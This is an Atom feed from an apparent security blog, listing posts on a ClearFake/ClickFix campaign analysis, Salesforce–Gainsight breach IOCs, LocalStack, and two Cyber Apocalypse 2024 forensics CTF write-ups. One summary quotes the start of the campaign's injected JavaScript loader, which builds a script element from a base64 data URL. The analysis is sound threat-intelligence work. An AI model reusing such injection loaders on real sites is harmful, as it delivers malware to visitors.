<feed xmlns="http://www.w3.org/2005/Atom"> <id>/</id><title>Monotonic Thoughts</title><subtitle>My official stream of consciousness</subtitle> <updated>2026-07-14T13:00:06+00:00</updated> <author> <name>Cody Dietz</name> <uri>/</uri> </author><link rel="self" type="application/atom+xml" href="/feed.xml"/><link rel="alternate" type="text/html" hreflang="en" href="/"/> <generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator> <rights> © 2026 Cody Dietz </rights> <icon>/assets/img/favicons/favicon.ico</icon> <logo>/assets/img/favicons/favicon-96x96.png</logo> <entry><title>Qilin? / ClearFake Camapain</title><link href="/posts/Qilin-ClearFake-Campaign/" rel="alternate" type="text/html" title="Qilin? / ClearFake Camapain" /><published>2026-07-13T16:39:42+00:00</published> <updated>2026-07-14T12:59:37+00:00</updated> <id>/posts/Qilin-ClearFake-Campaign/</id> <content type="text/html" src="/posts/Qilin-ClearFake-Campaign/" /> <author> <name>Cody Dietz</name> </author> <category term="Infosec" /> <category term="Threat Hunting" /> <category term="Threat Intelligence" /> <summary>Qilin? / ClearFake Campaign Analysis Overview A malicious or compromised site was hosting a ClickFix campaign that initially determines whether to show the payload with the following initial stage javascript embedded inside var sp_preloader = "";var sp_offanimation = "";var stickyHeaderVar = ""; var s=document.createElement("script");s.src="data:text/javascript;base64,CihmdW5jdGlvbihfMHg0MTFj...</summary> </entry> <entry><title>Salesforce and Gainsight Breach IOCs</title><link href="/posts/Salesforce-Gainsight-Breach/" rel="alternate" type="text/html" title="Salesforce and Gainsight Breach IOCs" /><published>2025-11-24T18:44:42+00:00</published> <updated>2026-07-14T12:59:37+00:00</updated> <id>/posts/Salesforce-Gainsight-Breach/</id> <content type="text/html" src="/posts/Salesforce-Gainsight-Breach/" /> <author> <name>Cody Dietz</name> </author> <category term="Infosec" /> <category term="Threat Hunting" /> <category term="Threat Intelligence" /> <summary>Salesforce/Gainsight Breach IOCs Overview Security teams have identified unauthorized access to Salesforce environments via a compromised Gainsight integration token. The intrusion appears highly targeted, with threat actors using automated queries to collect tenant metadata and user profile information. These findings raise concerns about later-stage activity, including possible ransomware de...</summary> </entry> <entry><title>LocalStack and Terragrunt</title><link href="/posts/localstack-terragrunt/" rel="alternate" type="text/html" title="LocalStack and Terragrunt" /><published>2025-08-17T18:44:42+00:00</published> <updated>2026-07-14T12:59:37+00:00</updated> <id>/posts/localstack-terragrunt/</id> <content type="text/html" src="/posts/localstack-terragrunt/" /> <author> <name>Cody Dietz</name> </author> <category term="Engineering" /> <category term="Cloud" /> <summary>Streamlining Cloud Development with LocalStack and Terragrunt The landscape of cloud development is constantly evolving. With a growing emphasis on efficiency, consistency, and cost management we need a way to build locally to minimize cloud costs. My new scaffold project addresses these challenges head-on by providing a robust framework for managing AWS infrastructure locally fusing together ...</summary> </entry> <entry><title>Cyber Apocalypse 2024 - Forensics - Phreaky</title><link href="/posts/cyber-apocalypse-2024-phreaky/" rel="alternate" type="text/html" title="Cyber Apocalypse 2024 - Forensics - Phreaky" /><published>2024-03-13T12:00:00+00:00</published> <updated>2025-08-22T17:46:37+00:00</updated> <id>/posts/cyber-apocalypse-2024-phreaky/</id> <content type="text/html" src="/posts/cyber-apocalypse-2024-phreaky/" /> <author> <name>Cody Dietz</name> </author> <category term="Infosec" /> <category term="CTF" /> <summary>Phreaky We can pull all the IMF files out of the pcap, and we get a bunch of base64 encoded email attachments with passwords. Putting them all in a script to make the zip file and unzip it: # Password: r5Q6YQEcGWEF echo "UEsDBAoACQAAAGZ3ZljgCHYp6QAAAN0AAAAWABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MlVUCQADwIToZcCE6GV1eAsAAQToAwAABOgDAABu5iZXFr81bsrANalgCyCYLbnWakpnenTTFtNEgA2DnlWwZaWTpsDk81VXCv1hWQgy...</summary> </entry> <entry><title>Cyber Apocalypse 2024 - Forensics - Data Siege</title><link href="/posts/cyber-apocalypse-2024-data-siege/" rel="alternate" type="text/html" title="Cyber Apocalypse 2024 - Forensics - Data Siege" /><published>2024-03-13T12:00:00+00:00</published> <updated>2025-08-22T17:46:37+00:00</updated> <id>/posts/cyber-apocalypse-2024-data-siege/</id> <content type="text/html" src="/posts/cyber-apocalypse-2024-data-siege/" /> <author> <name>Cody Dietz</name> </author> <category term="Infosec" /> <category term="CTF" /> <summary>Data Siege The pcap contains a .NET executable that we can decompile in ILSpy. Inside, we see that the traffic is encrypted, and then base64 encoded before being sent out over the network. I wrote the following to extract all potentially base64 encoded strings (scapy 2.4.4, it appears scapy 2.5+ will need to change) import json from pprint import pprint from scapy.all import * packets = r...</summary> </entry> </feed>
